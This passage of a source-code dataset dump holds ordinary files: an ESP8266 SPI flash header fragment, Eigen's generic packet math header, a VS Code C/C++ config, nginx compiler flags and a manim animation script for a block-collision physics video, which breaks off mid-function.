spi_flash_get_id(void);\nSpiFlashOpResult spi_flash_erase_sector(uint16 sec);\nSpiFlashOpResult spi_flash_write(uint32 des_addr, uint32 *src_addr, uint32 size);\nSpiFlashOpResult spi_flash_read(uint32 src_addr, uint32 *des_addr, uint32 size);\n\ntypedef SpiFlashOpResult (* user_spi_flash_read)(\n\t\tSpiFlashChip *spi,\n\t\tuint32 src_addr,\n\t\tuint32 *des_addr,\n        uint32 size);\n\nvoid spi_flash_set_read_func(user_spi_flash_read read);\n\nbool spi_flash_erase_protect_enable(void);\nbool spi_flash_erase_protect_disable(void);\n\n#endif\n"}
+{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008 Gael Guennebaud \n// Copyright (C) 2006-2008 Benoit Jacob \n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_GENERIC_PACKET_MATH_H\n#define EIGEN_GENERIC_PACKET_MATH_H\n\nnamespace Eigen {\n\nnamespace internal {\n\n/** \\internal\n  * \\file GenericPacketMath.h\n  *\n  * Default implementation for types not supported by the vectorization.\n  * In practice these functions are provided to make easier the writing\n  * of generic vectorized code.\n  */\n\n#ifndef EIGEN_DEBUG_ALIGNED_LOAD\n#define EIGEN_DEBUG_ALIGNED_LOAD\n#endif\n\n#ifndef EIGEN_DEBUG_UNALIGNED_LOAD\n#define EIGEN_DEBUG_UNALIGNED_LOAD\n#endif\n\n#ifndef EIGEN_DEBUG_ALIGNED_STORE\n#define EIGEN_DEBUG_ALIGNED_STORE\n#endif\n\n#ifndef EIGEN_DEBUG_UNALIGNED_STORE\n#define EIGEN_DEBUG_UNALIGNED_STORE\n#endif\n\nstruct default_packet_traits\n{\n  enum {\n    HasAdd    = 1,\n    HasSub    = 1,\n    HasMul    = 1,\n    HasNegate = 1,\n    HasAbs    = 1,\n    HasAbs2   = 1,\n    HasMin    = 1,\n    HasMax    = 1,\n    HasConj   = 1,\n    HasSetLinear = 1,\n\n    HasDiv    = 0,\n    HasSqrt   = 0,\n    HasExp    = 0,\n    HasLog    = 0,\n    HasPow    = 0,\n\n    HasSin    = 0,\n    HasCos    = 0,\n    HasTan    = 0,\n    HasASin   = 0,\n    HasACos   = 0,\n    HasATan   = 0\n  };\n};\n\ntemplate struct packet_traits : default_packet_traits\n{\n  typedef T type;\n  enum {\n    Vectorizable = 0,\n    size = 1,\n    AlignedOnScalar = 0\n  };\n  enum {\n    HasAdd    = 0,\n    HasSub    = 0,\n    HasMul    = 0,\n    HasNegate = 0,\n    HasAbs    = 0,\n    HasAbs2   = 0,\n    HasMin    = 0,\n    HasMax    = 0,\n    HasConj   = 0,\n    HasSetLinear = 0\n  };\n};\n\n/** \\internal \\returns a + b (coeff-wise) */\ntemplate inline Packet\npadd(const Packet& a,\n        const Packet& b) { return a+b; }\n\n/** \\internal \\returns a - b (coeff-wise) */\ntemplate inline Packet\npsub(const Packet& a,\n        const Packet& b) { return a-b; }\n\n/** \\internal \\returns -a (coeff-wise) */\ntemplate inline Packet\npnegate(const Packet& a) { return -a; }\n\n/** \\internal \\returns conj(a) (coeff-wise) */\ntemplate inline Packet\npconj(const Packet& a) { return numext::conj(a); }\n\n/** \\internal \\returns a * b (coeff-wise) */\ntemplate inline Packet\npmul(const Packet& a,\n        const Packet& b) { return a*b; }\n\n/** \\internal \\returns a / b (coeff-wise) */\ntemplate inline Packet\npdiv(const Packet& a,\n        const Packet& b) { return a/b; }\n\n/** \\internal \\returns the min of \\a a and \\a b  (coeff-wise) */\ntemplate inline Packet\npmin(const Packet& a,\n        const Packet& b) { using std::min; return (min)(a, b); }\n\n/** \\internal \\returns the max of \\a a and \\a b  (coeff-wise) */\ntemplate inline Packet\npmax(const Packet& a,\n        const Packet& b) { using std::max; return (max)(a, b); }\n\n/** \\internal \\returns the absolute value of \\a a */\ntemplate inline Packet\npabs(const Packet& a) { using std::abs; return abs(a); }\n\n/** \\internal \\returns the bitwise and of \\a a and \\a b */\ntemplate inline Packet\npand(const Packet& a, const Packet& b) { return a & b; }\n\n/** \\internal \\returns the bitwise or of \\a a and \\a b */\ntemplate inline Packet\npor(const Packet& a, const Packet& b) { return a | b; }\n\n/** \\internal \\returns the bitwise xor of \\a a and \\a b */\ntemplate inline Packet\npxor(const Packet& a, const Packet& b) { return a ^ b; }\n\n/** \\internal \\returns the bitwise andnot of \\a a and \\a b */\ntemplate inline Packet\npandnot(const Packet& a, const Packet& b) { return a & (!b); }\n\n/** \\internal \\returns a packet version of \\a *from, from must be 16 bytes aligned */\ntemplate inline Packet\npload(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet version of \\a *from, (un-aligned load) */\ntemplate inline Packet\nploadu(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet with elements of \\a *from duplicated.\n  * For instance, for a packet of 8 elements, 4 scalar will be read from \\a *from and\n  * duplicated to form: {from[0],from[0],from[1],from[1],,from[2],from[2],,from[3],from[3]}\n  * Currently, this function is only used for scalar * complex products.\n */\ntemplate inline Packet\nploaddup(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet with constant coefficients \\a a, e.g.: (a,a,a,a) */\ntemplate inline Packet\npset1(const typename unpacket_traits::type& a) { return a; }\n\n/** \\internal \\brief Returns a packet with coefficients (a,a+1,...,a+packet_size-1). */\ntemplate inline typename packet_traits::type\nplset(const Scalar& a) { return a; }\n\n/** \\internal copy the packet \\a from to \\a *to, \\a to must be 16 bytes aligned */\ntemplate inline void pstore(Scalar* to, const Packet& from)\n{ (*to) = from; }\n\n/** \\internal copy the packet \\a from to \\a *to, (un-aligned store) */\ntemplate inline void pstoreu(Scalar* to, const Packet& from)\n{ (*to) = from; }\n\n/** \\internal tries to do cache prefetching of \\a addr */\ntemplate inline void prefetch(const Scalar* addr)\n{\n#if (!EIGEN_COMP_MSVC) && (EIGEN_COMP_GNUC || EIGEN_COMP_CLANG || EIGEN_COMP_ICC)\n  __builtin_prefetch(addr);\n#endif\n}\n\n/** \\internal \\returns the first element of a packet */\ntemplate inline typename unpacket_traits::type pfirst(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns a packet where the element i contains the sum of the packet of \\a vec[i] */\ntemplate inline Packet\npreduxp(const Packet* vecs) { return vecs[0]; }\n\n/** \\internal \\returns the sum of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the product of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_mul(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the min of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_min(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the max of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_max(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the reversed elements of \\a a*/\ntemplate inline Packet preverse(const Packet& a)\n{ return a; }\n\n\n/** \\internal \\returns \\a a with real and imaginary part flipped (for complex type only) */\ntemplate inline Packet pcplxflip(const Packet& a)\n{\n  // FIXME: uncomment the following in case we drop the internal imag and real functions.\n//   using std::imag;\n//   using std::real;\n  return Packet(imag(a),real(a));\n}\n\n/**************************\n* Special math functions\n***************************/\n\n/** \\internal \\returns the sine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket psin(const Packet& a) { using std::sin; return sin(a); }\n\n/** \\internal \\returns the cosine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pcos(const Packet& a) { using std::cos; return cos(a); }\n\n/** \\internal \\returns the tan of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket ptan(const Packet& a) { using std::tan; return tan(a); }\n\n/** \\internal \\returns the arc sine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pasin(const Packet& a) { using std::asin; return asin(a); }\n\n/** \\internal \\returns the arc cosine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pacos(const Packet& a) { using std::acos; return acos(a); }\n\n/** \\internal \\returns the exp of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pexp(const Packet& a) { using std::exp; return exp(a); }\n\n/** \\internal \\returns the log of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket plog(const Packet& a) { using std::log; return log(a); }\n\n/** \\internal \\returns the square-root of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket psqrt(const Packet& a) { using std::sqrt; return sqrt(a); }\n\n/***************************************************************************\n* The following functions might not have to be overwritten for vectorized types\n***************************************************************************/\n\n/** \\internal copy a packet with constant coeficient \\a a (e.g., [a,a,a,a]) to \\a *to. \\a to must be 16 bytes aligned */\n// NOTE: this function must really be templated on the packet type (think about different packet types for the same scalar type)\ntemplate\ninline void pstore1(typename unpacket_traits::type* to, const typename unpacket_traits::type& a)\n{\n  pstore(to, pset1(a));\n}\n\n/** \\internal \\returns a * b + c (coeff-wise) */\ntemplate inline Packet\npmadd(const Packet&  a,\n         const Packet&  b,\n         const Packet&  c)\n{ return padd(pmul(a, b),c); }\n\n/** \\internal \\returns a packet version of \\a *from.\n  * If LoadMode equals #Aligned, \\a from must be 16 bytes aligned */\ntemplate\ninline Packet ploadt(const typename unpacket_traits::type* from)\n{\n  if(LoadMode == Aligned)\n    return pload(from);\n  else\n    return ploadu(from);\n}\n\n/** \\internal copy the packet \\a from to \\a *to.\n  * If StoreMode equals #Aligned, \\a to must be 16 bytes aligned */\ntemplate\ninline void pstoret(Scalar* to, const Packet& from)\n{\n  if(LoadMode == Aligned)\n    pstore(to, from);\n  else\n    pstoreu(to, from);\n}\n\n/** \\internal default implementation of palign() allowing partial specialization */\ntemplate\nstruct palign_impl\n{\n  // by default data are aligned, so there is nothing to be done :)\n  static inline void run(PacketType&, const PacketType&) {}\n};\n\n/** \\internal update \\a first using the concatenation of the packet_size minus \\a Offset last elements\n  * of \\a first and \\a Offset first elements of \\a second.\n  * \n  * This function is currently only used to optimize matrix-vector products on unligned matrices.\n  * It takes 2 packets that represent a contiguous memory array, and returns a packet starting\n  * at the position \\a Offset. For instance, for packets of 4 elements, we have:\n  *  Input:\n  *  - first = {f0,f1,f2,f3}\n  *  - second = {s0,s1,s2,s3}\n  * Output: \n  *   - if Offset==0 then {f0,f1,f2,f3}\n  *   - if Offset==1 then {f1,f2,f3,s0}\n  *   - if Offset==2 then {f2,f3,s0,s1}\n  *   - if Offset==3 then {f3,s0,s1,s3}\n  */\ntemplate\ninline void palign(PacketType& first, const PacketType& second)\n{\n  palign_impl::run(first,second);\n}\n\n/***************************************************************************\n* Fast complex products (GCC generates a function call which is very slow)\n***************************************************************************/\n\ntemplate<> inline std::complex pmul(const std::complex& a, const std::complex& b)\n{ return std::complex(real(a)*real(b) - imag(a)*imag(b), imag(a)*real(b) + real(a)*imag(b)); }\n\ntemplate<> inline std::complex pmul(const std::complex& a, const std::complex& b)\n{ return std::complex(real(a)*real(b) - imag(a)*imag(b), imag(a)*real(b) + real(a)*imag(b)); }\n\n} // end namespace internal\n\n} // end namespace Eigen\n\n#endif // EIGEN_GENERIC_PACKET_MATH_H\n\n"}
+{"text": "{\n    \"configurations\": [\n        {\n            \"name\": \"WasmVM\",\n            \"includePath\": [\n                \"${workspaceFolder}/src/include\",\n                \"${workspaceFolder}/src/lib\",\n                \"${workspaceFolder}/test/unittests\",\n                \"${workspaceFolder}/src/lib/stages/decoder\",\n                \"${workspaceFolder}/src/lib/stages/validator\",\n                \"${workspaceFolder}/src/lib/stages/instanciator\"\n            ],\n            \"forcedInclude\": [],\n            \"cStandard\": \"c11\",\n            \"cppStandard\": \"c++17\",\n            \"configurationProvider\": \"vector-of-bool.cmake-tools\",\n            \"compileCommands\": \"${workspaceFolder}/build/compile_commands.json\"\n        }\n    ],\n    \"version\": 4\n}"}
+{"text": "\n# Copyright (C) Igor Sysoev\n# Copyright (C) Nginx, Inc.\n\n\n# Compaq C V6.5-207\n\nngx_include_opt=\"-I\"\n\n# warnings\n\nCFLAGS=\"$CFLAGS -msg_enable level6 -msg_fatal level6\"\n\nCFLAGS=\"$CFLAGS -msg_disable unknownmacro\"\nCFLAGS=\"$CFLAGS -msg_disable unusedincl\"\nCFLAGS=\"$CFLAGS -msg_disable unnecincl\"\nCFLAGS=\"$CFLAGS -msg_disable nestincl\"\nCFLAGS=\"$CFLAGS -msg_disable strctpadding\"\nCFLAGS=\"$CFLAGS -msg_disable ansialiascast\"\nCFLAGS=\"$CFLAGS -msg_disable inlinestoclsmod\"\nCFLAGS=\"$CFLAGS -msg_disable cxxkeyword\"\nCFLAGS=\"$CFLAGS -msg_disable longlongsufx\"\nCFLAGS=\"$CFLAGS -msg_disable valuepres\"\n\n# STUB\nCFLAGS=\"$CFLAGS -msg_disable truncintcast\"\nCFLAGS=\"$CFLAGS -msg_disable trunclongcast\"\n\nCFLAGS=\"$CFLAGS -msg_disable truncintasn\"\nCFLAGS=\"$CFLAGS -msg_disable trunclongint\"\nCFLAGS=\"$CFLAGS -msg_disable intconcastsgn\"\nCFLAGS=\"$CFLAGS -msg_disable intconstsign\"\nCFLAGS=\"$CFLAGS -msg_disable switchlong\"\nCFLAGS=\"$CFLAGS -msg_disable subscrbounds2\"\n\nCFLAGS=\"$CFLAGS -msg_disable hexoctunsign\"\n\nCFLAGS=\"$CFLAGS -msg_disable ignorecallval\"\nCFLAGS=\"$CFLAGS -msg_disable nonstandcast\"\nCFLAGS=\"$CFLAGS -msg_disable embedcomment\"\nCFLAGS=\"$CFLAGS -msg_disable unreachcode\"\nCFLAGS=\"$CFLAGS -msg_disable questcompare2\"\nCFLAGS=\"$CFLAGS -msg_disable unusedtop\"\nCFLAGS=\"$CFLAGS -msg_disable unrefdecl\"\n\nCFLAGS=\"$CFLAGS -msg_disable bitnotint\"\n"}
+{"text": "from manimlib.imports import *\nfrom from_3b1b.old.clacks.question import *\nfrom from_3b1b.old.div_curl import ShowTwoPopulations\n\n\nOUTPUT_DIRECTORY = \"clacks/solution1\"\n\n\nclass FromPuzzleToSolution(MovingCameraScene):\n    def construct(self):\n        big_rect = FullScreenFadeRectangle()\n        big_rect.set_fill(DARK_GREY, 0.5)\n        self.add(big_rect)\n\n        rects = VGroup(ScreenRectangle(), ScreenRectangle())\n        rects.set_height(3)\n        rects.arrange(RIGHT, buff=2)\n\n        titles = VGroup(\n            TextMobject(\"Puzzle\"),\n            TextMobject(\"Solution\"),\n        )\n\n        images = Group(\n            ImageMobject(\"BlocksAndWallExampleMass16\"),\n            ImageMobject(\"AnalyzeCircleGeometry\"),\n        )\n        for title, rect, image in zip(titles, rects, images):\n            title.scale(1.5)\n            title.next_to(rect, UP)\n            image.replace(rect)\n            self.add(image, rect, title)\n\n        frame = self.camera_frame\n        frame.save_state()\n\n        self.play(\n            frame.replace, images[0],\n            run_time=3\n        )\n        self.wait()\n        self.play(Restore(frame, run_time=3))\n        self.play(\n            frame.replace, images[1],\n            run_time=3,\n        )\n        self.wait()\n\n\nclass BlocksAndWallExampleMass16(BlocksAndWallExample):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 16,\n                \"velocity\": -1.5,\n            },\n        },\n        \"wait_time\": 25,\n    }\n\n\nclass Mass16WithElasticLabel(Mass1e1WithElasticLabel):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 16,\n            }\n        },\n    }\n\n\nclass BlocksAndWallExampleMass64(BlocksAndWallExample):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 64,\n                \"velocity\": -1.5,\n            },\n        },\n        \"wait_time\": 25,\n    }\n\n\nclass BlocksAndWallExampleMass1e4(BlocksAndWallExample):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 1e4,\n                \"velocity\": -1.5,\n            },\n        },\n        \"wait_time\": 25,\n    }\n\n\nclass BlocksAndWallExampleMassMillion(BlocksAndWallExample):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 1e6,\n                \"velocity\": -0.9,\n                \"label_text\": \"$100^{3}$ kg\"\n            },\n        },\n        \"wait_time\": 30,\n        \"million_fade_time\": 4,\n        \"min_time_between_sounds\": 0.002,\n    }\n\n    def setup(self):\n        super().setup()\n        self.add_million_label()\n\n    def add_million_label(self):\n        first_label = self.blocks.block1.label\n        brace = Brace(first_label[:-2], UP, buff=SMALL_BUFF)\n        new_label = TexMobject(\"1{,}000{,}000\")\n        new_label.next_to(brace, UP, buff=SMALL_BUFF)\n        new_label.add(brace)\n        new_label.set_color(YELLOW)\n\n        def update_label(label):\n            d_time = self.get_time() - self.million_fade_time\n            opacity = smooth(d_time)\n            label.set_fill(opacity=d_time)\n\n        new_label.add_updater(update_label)\n        first_label.add(new_label)\n\n\nclass BlocksAndWallExampleMassTrillion(BlocksAndWallExample):\n    CONFIG = {\n        \"sliding_blocks_config\": {\n            \"block1_config\": {\n                \"mass\": 1e12,\n                \"velocity\": -1,\n            },\n        },\n        \"wait_time\": 30,\n        \"min_time_between_sounds\": 0.001,\n    }\n\n\nclass First6DigitsOfPi(DigitsOfPi):\n    CONFIG = {\"n_digits\": 6}\n\n\nclass FavoritesInDescription(Scene):\n    def construct(self):\n        words = TextMobject(\"(See the description for \\\\\\\\ some favorites)\")\n        words.scale(1.5)\n        self.add(words)\n\n\nclass V1EqualsV2Line(Scene):\n    def construct(self):\n        line = Line(LEFT, 7 * RIGHT)\n        eq = TexMobject(\"v_1\", \"=\", \"v_2\")\n        eq.set_color_by_tex(\"v_\", RED)\n        eq.next_to(RIGHT, UR, SMALL_BUFF)\n        self.play(\n            Write(eq, run_time=1),\n            ShowCreation(line),\n        )\n        self.wait()\n\n\nclass PhaseSpaceTitle(Scene):\n    def construct(self):\n        title = TextMobject(\"Phase space\")\n        title.scale(1.5)\n        title.to_edge(UP)\n        rect = ScreenRectangle(height=6)\n        rect.next_to(title, DOWN)\n        self.add(rect)\n        self.play(Write(title, run_time=1))\n        self.wait()\n\n\nclass AskAboutFindingNewVelocities(Scene):\n    CONFIG = {\n        \"floor_y\": -3,\n        \"wall_x\": -6.5,\n        \"wall_height\": 7,\n        \"block1_config\": {\n            \"mass\": 10,\n            \"fill_color\": BLUE_E,\n            \"velocity\": -1,\n        },\n        \"block2_config\": {\"mass\": 1},\n        \"block1_start_x\": 7,\n        \"block2_start_x\": 3,\n        \"v_arrow_scale_value\": 1.0,\n        \"is_halted\": False,\n    }\n\n    def setup(self):\n        self.add_clack_sound_file()\n\n    def construct(self):\n        self.add_clack_sound_file()\n        self.add_floor()\n        self.add_wall()\n        self.add_blocks()\n        self.add_velocity_labels()\n\n        self.ask_about_transfer()\n        self.show_ms_and_vs()\n        self.show_value_on_equations()\n\n    def add_clack_sound_file(self):\n        self.clack_file = os.path.join(SOUND_DIR, \"clack.wav\")\n\n    def add_floor(self):\n        floor = self.floor = Line(\n            self.wall_x * RIGHT,\n            (FRAME_WIDTH / 2) * RIGHT,\n        )\n        floor.shift(self.floor_y * UP)\n        self.add(floor)\n\n    def add_wall(self):\n        wall = self.wall = Wall(height=self.wall_height)\n        wall.move_to(\n            self.wall_x * RIGHT + self.floor_y * UP,\n            DR,\n        )\n        self.add(wall)\n\n    def add_blocks(self):\n        block1 = self.block1 = Block(**self.block1_config)\n        block2 = self.block2 = Block(**self.block2_config)\n        blocks = self.blocks = VGroup(block1, block2)\n        block1.move_to(self.block1_start_x * RIGHT + self.floor_y * UP, DOWN)\n        block2.move_to(self.block2_start_x * RIGHT + self.floor_y * UP, DOWN)\n\n        self.add_velocity_phase_space_point()\n        # Add arrows\n        for block in blocks:\n            arrow = Vector(self.block_to_v_vector(block))\n            arrow.set_color(RED)\n            arrow.set_stroke(BLACK, 1, background=True)\n            arrow.move_to(block.get_center(), RIGHT)\n            block.arrow = arrow\n            block.add(arrow)\n\n            block.v_label = DecimalNumber(\n                block.velocity,\n                num_decimal_places=2,\n                background_stroke_width=2,\n            )\n            block.v_label.set_color(RED)\n            block.add(block.v_label)\n\n        # Add updater\n        blocks.add_updater(self.update_blocks)\n        self.add(\n            blocks,\n            block2.arrow, block1.arrow,\n            block2.v_label, block1.v_label,\n        )\n\n    def add_velocity_phase_space_point(self):\n        self.vps_point = VectorizedPoint([\n            np.sqrt(self.block1.mass) * self.block1.velocity,\n            np.sqrt(self.block2.mass) * self.block2.velocity,\n            0\n        ])\n\n    def add_velocity_labels(self):\n        v_labels = self.get_next_velocity_labels()\n\n        self.add(v_labels)\n\n    def ask_about_transfer(self):\n        energy_expression, momentum_expression = \\\n            self.get_energy_and_momentum_expressions()\n        energy_words = TextMobject(\"Conservation of energy:\")\n        energy_words.move_to(UP)\n        energy_words.to_edge(LEFT, buff=1.5)\n        momentum_words = TextMobject(\"Conservation of momentum:\")\n        momentum_words.next_to(\n            energy_words, DOWN,\n            buff=0.7,\n        )\n\n        energy_expression.next_to(energy_words, RIGHT, MED_LARGE_BUFF)\n        momentum_expression.next_to(energy_expression, DOWN)\n        momentum_expression.next_to(momentum_words, RIGHT)\n\n        velocity_labels = self.all_velocity_labels\n        randy = Randolph(height=2)\n        randy.next_to(velocity_labels, DR)\n        randy.save_state()\n        randy.fade(1)\n\n        # Up to collisions\n        self.go_through_next_collision(include_velocity_label_animation=True)\n        self.play(\n            randy.restore,\n            randy.change, \"pondering\", velocity_labels[0],\n        )\n        self.halt()\n        self.play(randy.look_at, velocity_labels[-1])\n        self.play(Blink(randy))\n        self.play(randy.change, \"confused\")\n        self.play(Blink(randy))\n        self.wait()\n        self.play(\n            FadeInFrom(energy_words, RIGHT),\n            FadeInFromDown(energy_expression),\n            FadeOut(randy),\n        )\n        self.wait()\n        self.play(\n            FadeInFrom(momentum_words, RIGHT),\n            FadeInFromDown(momentum_expression)\n        )\n        self.wait()\n\n        self.energy_expression = energy_expression\n        self.energy_words = energy_words\n        self.momentum_expression = momentum_expression\n        self.momentum_words = momentum_words\n\n    def show_ms_and_vs(self):\n        block1 = self.block1\n        block2 = self.block2\n        energy_expression = self.energy_expression\n        momentum_expression = self.momentum_expression\n\n        for block in self.blocks:\n            block.shift_onto_screen()\n\n        m1_labels = VGroup(\n            block1.label,\n            energy_expression.get_part_by_tex(\"m_1\"),\n            momentum_expression.get_part_by_tex(\"m_1\"),\n        )\n        m2_labels = VGroup(\n            block2.label,\n            energy_expression.get_part_by_tex(\"m_2\"),\n            momentum_expression.get_part_by_tex(\"m_2\"),\n        )\n        v1_labels = VGroup(\n            block1.v_label,\n            energy_expression.get_part_by_tex(\"v_1\"),\n            momentum_expression.get_part_by_tex(\"v_1\"),\n        )\n        v2_labels = VGroup(\n            block2.v_label,\n            energy_expression.get_part_by_tex(\"v_2\"),\n            momentum_expression.get_part_by_tex(\"v_2\"),\n        )\n        label_groups = VGroup(\n            m1_labels, m2_labels,\n            v1_labels, v2_labels,\n        )\n        for group in label_groups:\n            group.rects = VGroup(*map(\n                SurroundingRectangle,\n                group\n            ))\n\n        for group in label_groups:\n            self.play(LaggedStartMap(\n                ShowCreation, group.rects,\n                lag_ratio=0.8,\n                run_time=1,\n            ))\n            self.play(FadeOut(group.rects))\n\n    def show_value_on_equations(self):\n        energy_expression = self.energy_expression\n        momentum_expression = self.momentum_expression\n        energy_text = VGroup(energy_expression, self.energy_words)\n        momentum_text = VGroup(momentum_expression, self.momentum_words)\n        block1 = self.block1\n        block2 = self.block2\n        block1.save_state()\n        block2.save_state()\n\n        v_terms, momentum_v_terms = [\n            VGroup(*[\n                expr.get_part_by_tex(\"v_{}\".format(d))\n                for d in [1, 2]\n            ])\n            for expr in [energy_expression, momentum_expression]\n        ]\n        v_braces = VGroup(*[\n            Brace(term, UP, buff=SMALL_BUFF)\n            for term in v_terms\n        ])\n        v_decimals = VGroup(*[DecimalNumber(0) for x in range(2)])\n\n        def update_v_decimals(v_decimals):\n            values = self.get_velocities()\n            for decimal, value, brace in zip(v_decimals, values, v_braces):\n                decimal.set_value(value)\n                decimal.next_to(brace, UP, SMALL_BUFF)\n\n        update_v_decimals(v_decimals)\n\n        energy_const_brace, momentum_const_brace = [\n            Brace(\n                expr.get_part_by_tex(\"const\"), UP,\n                buff=SMALL_BUFF,\n            )\n            for expr in [energy_expression, momentum_expression]\n        ]\n\n        sqrt_m_vect = np.array([\n            np.sqrt(self.block1.mass),\n            np.sqrt(self.block2.mass),\n            0\n        ])\n\n        def get_energy():\n            return 0.5 * get_norm(self.vps_point.get_location())**2\n\n        def get_momentum():\n            return np.dot(self.vps_point.get_location(), sqrt_m_vect)\n\n        energy_decimal = DecimalNumber(get_energy())\n        energy_decimal.next_to(energy_const_brace, UP, SMALL_BUFF)\n        momentum_decimal = DecimalNumber(get_momentum())\n        momentum_decimal.next_to(momentum_const_brace, UP, SMALL_BUFF)\n\n        VGroup(\n            energy_const_brace, energy_decimal,\n            momentum_const_brace, momentum_decimal,\n        ).set_color(YELLOW)\n\n        self.play(\n            ShowCreationThenFadeAround(energy_expression),\n            momentum_text.set_fill, {\"opacity\": 0.25},\n            FadeOut(self.all_velocity_labels),\n        )\n        self.play(*[\n            *map(GrowFromCenter, v_braces),\n            *map(VFadeIn, v_decimals),\n            GrowFromCenter(energy_const_brace),\n            FadeIn(energy_decimal),\n        ])\n        energy_decimal.add_updater(\n            lambda m: m.set_value(get_energy())\n        )\n        v_decimals.add_updater(update_v_decimals)\n        self.add(v_decimals)\n        self.unhalt()\n        self.vps_point.save_state()\n        for x in range(8):\n            self.go_through_next_collision()\n        energy_decimal.clear_updaters()\n        momentum_decimal.set_value(get_momentum())\n        self.halt()\n        self.play(*[\n            momentum_text.set_fill, {\"opacity\": 1},\n            FadeOut(energy_text),\n            FadeOut(energy_const_brace),\n            FadeOut(energy_decimal),\n            GrowFromCenter(momentum_const_brace),\n            FadeIn(momentum_decimal),\n            *[\n                ApplyMethod(b.next_to, vt, UP, SMALL_BUFF)\n                for b, vt in zip(v_braces, momentum_v_terms)\n            ],\n        ])\n        self.unhalt()\n        self.vps_point.restore()\n        momentum_decimal.add_updater(\n            lambda m: m.set_value(get_momentum())\n        )\n        momentum_decimal.add_updater(\n            lambda m: m.next_to(momentum_const_brace, UP, SMALL_BUFF)\n        )\n        for x in range(9):\n            self.go_through_next_collision()\n        self.wait(10)\n\n    # Helpers\n\n    def get_energy_and_momentum_expressions(self):\n        tex_to_color_map = {\n            \"v_1\": RED_B,\n            \"v_2\": RED_B,\n            \"m_1\": BLUE_C,\n            \"m_2\": BLUE_C,\n        }\n        energy_expression = TexMobject(\n            \"\\\\frac{1}{2} m_1 (v_1)^2 + \",\n            \"\\\\frac{1}{2} m_2 (v_2)^2 = \",\n            \"\\\\text{const.}\",\n            tex_to_color_map=tex_to_color_map,\n        )\n        momentum_expression = TexMobject(\n            \"m_1 v_1 + m_2 v_2 =\", \"\\\\text{const.}\",\n            tex_to_color_map=tex_to_color_map\n        )\n        return VGroup(\n            energy_expression,\n            momentum_expression,\n        )\n\n    def go_through_next_collision(self, include_velocity_label_animation=False):\n        block2 = self.block2\n        if block2.velocity >= 0:\n            self.wait_until(self.blocks_are_hitting)\n            self.add_sound(self.clack_file)\n            self.transfer_momentum()\n            edge = RIGHT\n        else:\n            self.wait_until(self.block2_is_hitting_wall)\n            self.add_sound(self.clack_file)\n            self.reflect_block2()\n            edge = LEFT\n        anims = [Flash(block2.get_edge_center(edge))]\n        if include_velocity_label_animation:\n            anims.append(self.get_next_velocity_labels_animation())\n        self.play(*anims, run_time=0.5)\n\n    def get_next_velocity_labels_animation(self):\n        return FadeInFrom(\n            self.get_next_velocity_labels(),\n            LEFT,\n            run_time=0.5\n        )\n\n    def get_next_velocity_labels(self, v1=None, v2=None):\n        new_labels = self.get_velocity_labels(v1, v2)\n        if hasattr(self, \"all_velocity_labels\"):\n            arrow = Vector(RIGHT)\n            arrow.next_to(self.all_velocity_labels)\n            new_labels.next_to(arrow, RIGHT)\n            new_labels.add(arrow)\n        else:\n            self.all_velocity_labels = VGroup()\n        self.all_velocity_labels.add(new_labels)\n        return new_labels\n\n    def get_velocity_labels(self, v1=None, v2=None):\n        default_vs = self.get_velocities()\n        v1 = v1 or default_vs[0]\n        v2 = v2 or default_vs[1]\n        labels = VGroup(\n            TexMobject(\"v_1 = {:.2f}\".format(v1)),\n            TexMobject(\"v_2 = {:.2f}\".format(v2)),\n        )\n        labels.arrange(\n            DOWN,\n            buff=MED_SMALL_BUFF,\n            aligned_edge=LEFT,\n        )\n        labels.scale(0.9)\n        for label in labels:\n            label[:2].set_color(RED)\n        labels.next_to(self.wall, RIGHT)\n        labels.to_edge(UP, buff=MED_SMALL_BUFF)\n        return labels\n\n    def update_blocks(self, blocks, dt):\n        for block, velocity in zip(blocks, self.get_velocities()):\n            block.velocity = velocity\n            if not self.is_halted:\n                block.shift(block.velocity * dt * RIGHT)\n            center = block.get_center()\n            block.arrow.put_start_and_end_on(\n                center,\n                center + self.block_to_v_vector(block),\n            )\n            max_height = 0.25\n            block.v_label.set_value(block.velocity)\n            if 